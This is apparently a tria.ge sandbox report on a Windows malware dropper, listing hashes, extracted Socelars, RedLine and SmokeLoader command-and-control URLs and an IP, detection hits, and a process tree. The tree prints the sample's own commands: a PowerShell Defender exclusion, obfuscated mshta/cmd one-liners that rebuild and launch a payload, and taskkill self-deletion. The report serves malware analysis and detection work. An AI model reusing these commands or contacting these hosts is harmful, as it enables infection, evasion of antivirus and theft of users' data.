Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows7_x64
10022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows7_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows7_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows7_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows7_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows7_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows7_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows7_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows7_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows7_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
19s -
max time network
158s -
platform
windows7_x64 -
resource
win7-en-20211104 -
submitted
08/11/2021, 14:48
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win7-en-20211104
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win7-en-20211104
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral5
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win7-en-20211104
Behavioral task
behavioral6
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211104
Behavioral task
behavioral7
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win7-en-20211014
Behavioral task
behavioral8
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211104
Behavioral task
behavioral9
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win7-en-20211014
Behavioral task
behavioral10
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211104
Behavioral task
behavioral11
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win7-en-20211104
Behavioral task
behavioral12
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral13
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win7-en-20211104
Behavioral task
behavioral14
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211014
Behavioral task
behavioral15
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win7-en-20211104
Behavioral task
behavioral16
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211014
Behavioral task
behavioral17
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win7-en-20211104
Behavioral task
behavioral18
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211014
Behavioral task
behavioral19
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win7-en-20211104
Behavioral task
behavioral20
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
General
-
Target
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
-
Size
4.6MB
-
MD5
c7f1d6db5efddf8b46441be0edfaadfd
-
SHA1
e27a2fab7ac49b1709c8d9e0183b020f1be61fc6
-
SHA256
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12
-
SHA512
856e4f8a48848b5ddc42af7c282fdbc87df641665c0a0fdb28d5af2b6ac3299d9ae3c9b9d25b145816092abd248df32c9ea4f72ea59217b50460d48fb95ecb9a
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
redline
media18
91.121.67.60:2151
Extracted
smokeloader
2020
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
resource yara_rule behavioral15/memory/2508-230-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral15/memory/2508-231-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral15/memory/2508-232-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral15/memory/2508-233-0x000000000041B23E-mapping.dmp family_redline behavioral15/memory/2508-235-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral15/memory/2624-244-0x000000000041B23E-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 1 IoCs
resource yara_rule behavioral15/files/0x00050000000125c3-125.dat family_socelars -
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
resource yara_rule behavioral15/files/0x000600000001224f-71.dat aspack_v212_v242 behavioral15/files/0x000600000001224f-72.dat aspack_v212_v242 behavioral15/files/0x0006000000012245-73.dat aspack_v212_v242 behavioral15/files/0x0006000000012245-74.dat aspack_v212_v242 behavioral15/files/0x000600000001225f-77.dat aspack_v212_v242 behavioral15/files/0x000600000001225f-78.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 2 IoCs
pid Process 1656 setup_installer.exe 824 setup_install.exe -
Loads dropped DLL 18 IoCs
pid Process 1032 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 1656 setup_installer.exe 1656 setup_installer.exe 1656 setup_installer.exe 1656 setup_installer.exe 1656 setup_installer.exe 1656 setup_installer.exe 824 setup_install.exe 824 setup_install.exe 824 setup_install.exe 824 setup_install.exe 824 setup_install.exe 824 setup_install.exe 824 setup_install.exe 824 setup_install.exe 924 cmd.exe 1100 cmd.exe 2000 cmd.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 34 ipinfo.io 35 ipinfo.io 49 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 4 IoCs
pid pid_target Process procid_target 2188 824 WerFault.exe 29 2236 1372 WerFault.exe 49 1556 976 WerFault.exe 60 2068 2528 WerFault.exe 68 -
Kills process with taskkill 3 IoCs
pid Process 1448 taskkill.exe 2648 taskkill.exe 2384 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1032 wrote to memory of 1656 1032 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 28 PID 1032 wrote to memory of 1656 1032 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 28 PID 1032 wrote to memory of 1656 1032 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 28 PID 1032 wrote to memory of 1656 1032 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 28 PID 1032 wrote to memory of 1656 1032 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 28 PID 1032 wrote to memory of 1656 1032 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 28 PID 1032 wrote to memory of 1656 1032 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 28 PID 1656 wrote to memory of 824 1656 setup_installer.exe 29 PID 1656 wrote to memory of 824 1656 setup_installer.exe 29 PID 1656 wrote to memory of 824 1656 setup_installer.exe 29 PID 1656 wrote to memory of 824 1656 setup_installer.exe 29 PID 1656 wrote to memory of 824 1656 setup_installer.exe 29 PID 1656 wrote to memory of 824 1656 setup_installer.exe 29 PID 1656 wrote to memory of 824 1656 setup_installer.exe 29 PID 824 wrote to memory of 984 824 setup_install.exe 31 PID 824 wrote to memory of 984 824 setup_install.exe 31 PID 824 wrote to memory of 984 824 setup_install.exe 31 PID 824 wrote to memory of 984 824 setup_install.exe 31 PID 824 wrote to memory of 984 824 setup_install.exe 31 PID 824 wrote to memory of 984 824 setup_install.exe 31 PID 824 wrote to memory of 984 824 setup_install.exe 31 PID 824 wrote to memory of 1332 824 setup_install.exe 32 PID 824 wrote to memory of 1332 824 setup_install.exe 32 PID 824 wrote to memory of 1332 824 setup_install.exe 32 PID 824 wrote to memory of 1332 824 setup_install.exe 32 PID 824 wrote to memory of 1332 824 setup_install.exe 32 PID 824 wrote to memory of 1332 824 setup_install.exe 32 PID 824 wrote to memory of 1332 824 setup_install.exe 32 PID 824 wrote to memory of 924 824 setup_install.exe 33 PID 824 wrote to memory of 924 824 setup_install.exe 33 PID 824 wrote to memory of 924 824 setup_install.exe 33 PID 824 wrote to memory of 924 824 setup_install.exe 33 PID 824 wrote to memory of 924 824 setup_install.exe 33 PID 824 wrote to memory of 924 824 setup_install.exe 33 PID 824 wrote to memory of 924 824 setup_install.exe 33 PID 824 wrote to memory of 2028 824 setup_install.exe 34 PID 824 wrote to memory of 2028 824 setup_install.exe 34 PID 824 wrote to memory of 2028 824 setup_install.exe 34 PID 824 wrote to memory of 2028 824 setup_install.exe 34 PID 824 wrote to memory of 2028 824 setup_install.exe 34 PID 824 wrote to memory of 2028 824 setup_install.exe 34 PID 824 wrote to memory of 2028 824 setup_install.exe 34 PID 824 wrote to memory of 1980 824 setup_install.exe 39 PID 824 wrote to memory of 1980 824 setup_install.exe 39 PID 824 wrote to memory of 1980 824 setup_install.exe 39 PID 824 wrote to memory of 1980 824 setup_install.exe 39 PID 824 wrote to memory of 1980 824 setup_install.exe 39 PID 824 wrote to memory of 1980 824 setup_install.exe 39 PID 824 wrote to memory of 1980 824 setup_install.exe 39 PID 824 wrote to memory of 1100 824 setup_install.exe 35 PID 824 wrote to memory of 1100 824 setup_install.exe 35 PID 824 wrote to memory of 1100 824 setup_install.exe 35 PID 824 wrote to memory of 1100 824 setup_install.exe 35 PID 824 wrote to memory of 1100 824 setup_install.exe 35 PID 824 wrote to memory of 1100 824 setup_install.exe 35 PID 824 wrote to memory of 1100 824 setup_install.exe 35 PID 824 wrote to memory of 1732 824 setup_install.exe 36 PID 824 wrote to memory of 1732 824 setup_install.exe 36 PID 824 wrote to memory of 1732 824 setup_install.exe 36 PID 824 wrote to memory of 1732 824 setup_install.exe 36 PID 824 wrote to memory of 1732 824 setup_install.exe 36 PID 824 wrote to memory of 1732 824 setup_install.exe 36 PID 824 wrote to memory of 1732 824 setup_install.exe 36 PID 824 wrote to memory of 2000 824 setup_install.exe 37
Processes
-
C:\Users\Admin\AppData\Local\Temp\db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe"C:\Users\Admin\AppData\Local\Temp\db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS87629A16\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:824 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵PID:984
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:1788
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1607c6ec89.exe4⤵PID:1332
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue1607c6ec89.exeTue1607c6ec89.exe5⤵PID:1000
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue1607c6ec89.exeC:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue1607c6ec89.exe6⤵PID:2516
-
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue1607c6ec89.exeC:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue1607c6ec89.exe6⤵PID:2624
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue160598ce8b05.exe4⤵
- Loads dropped DLL
PID:924 -
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue160598ce8b05.exeTue160598ce8b05.exe5⤵PID:1896
-
C:\Users\Admin\AppData\Roaming\4076254.exe"C:\Users\Admin\AppData\Roaming\4076254.exe"6⤵PID:1976
-
-
C:\Users\Admin\AppData\Roaming\1282578.exe"C:\Users\Admin\AppData\Roaming\1282578.exe"6⤵PID:2212
-
-
C:\Users\Admin\AppData\Roaming\2418339.exe"C:\Users\Admin\AppData\Roaming\2418339.exe"6⤵PID:2216
-
-
C:\Users\Admin\AppData\Roaming\1799390.exe"C:\Users\Admin\AppData\Roaming\1799390.exe"6⤵PID:2368
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\1799390.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\1799390.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))7⤵PID:1928
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\1799390.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\1799390.exe" ) do taskkill -f -Im "%~NXZ"8⤵PID:2160
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i9⤵PID:1592
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))10⤵PID:2976
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"11⤵PID:2184
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )10⤵PID:1180
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *11⤵PID:2288
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"12⤵PID:784
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "12⤵PID:1940
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K12⤵PID:1988
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K13⤵PID:3032
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K14⤵PID:1868
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K15⤵PID:1652
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "1799390.exe"9⤵
- Kills process with taskkill
PID:2384
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\4104820.exe"C:\Users\Admin\AppData\Roaming\4104820.exe"6⤵PID:2912
-
-
C:\Users\Admin\AppData\Roaming\1909269.exe"C:\Users\Admin\AppData\Roaming\1909269.exe"6⤵PID:1820
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:968
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue16497809b6bd.exe4⤵PID:2028
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue16497809b6bd.exeTue16497809b6bd.exe5⤵PID:976
-
C:\Users\Admin\Pictures\Adobe Films\6n2BKw0lBRyrEYVeLCSmc59X.exe"C:\Users\Admin\Pictures\Adobe Films\6n2BKw0lBRyrEYVeLCSmc59X.exe"6⤵PID:2044
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 15206⤵
- Program crash
PID:1556
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1693c6e21a84f1.exe4⤵
- Loads dropped DLL
PID:1100 -
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue1693c6e21a84f1.exeTue1693c6e21a84f1.exe5⤵PID:1140
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue1693c6e21a84f1.exeC:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue1693c6e21a84f1.exe6⤵PID:2508
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue16752f37c10e89.exe /mixone4⤵PID:1732
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue16752f37c10e89.exeTue16752f37c10e89.exe /mixone5⤵PID:1512
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue16752f37c10e89.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue16752f37c10e89.exe" & exit6⤵PID:3040
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue16752f37c10e89.exe" /f7⤵
- Kills process with taskkill
PID:1448
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue16937a015b8e.exe4⤵
- Loads dropped DLL
PID:2000 -
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue16937a015b8e.exeTue16937a015b8e.exe5⤵PID:968
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1647cedf7bf133.exe4⤵PID:1204
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue1647cedf7bf133.exeTue1647cedf7bf133.exe5⤵PID:316
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue162f02d7b75a1d.exe4⤵PID:1980
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue162f02d7b75a1d.exeTue162f02d7b75a1d.exe5⤵PID:2068
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1604aa7d34a61a5b.exe4⤵PID:1912
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue165ec2d1de4f1ae98.exe4⤵PID:952
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue165ec2d1de4f1ae98.exeTue165ec2d1de4f1ae98.exe5⤵PID:2528
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2528 -s 14086⤵
- Program crash
PID:2068
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1695d07d02bff8ff.exe4⤵PID:1724
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue1695d07d02bff8ff.exeTue1695d07d02bff8ff.exe5⤵PID:1372
-
C:\Users\Admin\Pictures\Adobe Films\kmc8WlItxQPyzSLZKS3YcTKO.exe"C:\Users\Admin\Pictures\Adobe Films\kmc8WlItxQPyzSLZKS3YcTKO.exe"6⤵PID:3008
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1372 -s 15286⤵
- Program crash
PID:2236
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue161bd708d12e5.exe4⤵PID:1640
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue161bd708d12e5.exeTue161bd708d12e5.exe5⤵PID:1064
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl").run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue161bd708d12e5.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If """" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue161bd708d12e5.exe"" ) do taskkill -F /iM ""%~nXE"" ", 0, True ) )6⤵PID:2292
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue161bd708d12e5.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "" =="" for %E In ( "C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue161bd708d12e5.exe" ) do taskkill -F /iM "%~nXE"7⤵PID:2168
-
C:\Users\Admin\AppData\Local\Temp\fkKCS.exefkKCS.EXE -P_3FA3g8_0NB8⤵PID:2388
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl").run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If ""-P_3FA3g8_0NB "" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"" ) do taskkill -F /iM ""%~nXE"" ", 0, True ) )9⤵PID:2896
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "-P_3FA3g8_0NB " =="" for %E In ( "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe" ) do taskkill -F /iM "%~nXE"10⤵PID:1352
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRipt: ClOSE( cREaTEOBjEcT ("wSCript.sheLl").RUN ( "Cmd.eXE /c echo N%TIme%O>VPZp.II & EChO | set /p = ""MZ"" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+LAQIL0YY.POg + vCTGFFAM.2ST + ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS " ,0 , TRUe ) )9⤵PID:836
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo N%TIme%O>VPZp.II & EChO | set /p = "MZ" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+LAQIL0YY.POg + vCTGFFAM.2ST+ ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS10⤵PID:3068
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>KL6F.Aa_"11⤵PID:1480
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "11⤵PID:1736
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /Y .\pUA9.FS11⤵PID:472
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F /iM "Tue161bd708d12e5.exe"8⤵
- Kills process with taskkill
PID:2648
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue166a21bf15ecf0.exe4⤵PID:1088
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue166a21bf15ecf0.exe"C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue166a21bf15ecf0.exe"5⤵PID:2168
-
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue166a21bf15ecf0.exeTue166a21bf15ecf0.exe5⤵PID:1488
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue169b8ca3fff9b96f8.exe4⤵PID:1952
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue169b8ca3fff9b96f8.exeTue169b8ca3fff9b96f8.exe5⤵PID:864
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 824 -s 4764⤵
- Program crash
PID:2188
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-BLVMQ.tmp\Tue16937a015b8e.tmp"C:\Users\Admin\AppData\Local\Temp\is-BLVMQ.tmp\Tue16937a015b8e.tmp" /SL5="$1015E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue16937a015b8e.exe"1⤵PID:2228
-
C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue16937a015b8e.exe"C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue16937a015b8e.exe" /SILENT2⤵PID:2328
-
C:\Users\Admin\AppData\Local\Temp\is-HF91E.tmp\Tue16937a015b8e.tmp"C:\Users\Admin\AppData\Local\Temp\is-HF91E.tmp\Tue16937a015b8e.tmp" /SL5="$2015E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS87629A16\Tue16937a015b8e.exe" /SILENT3⤵PID:2428
-
-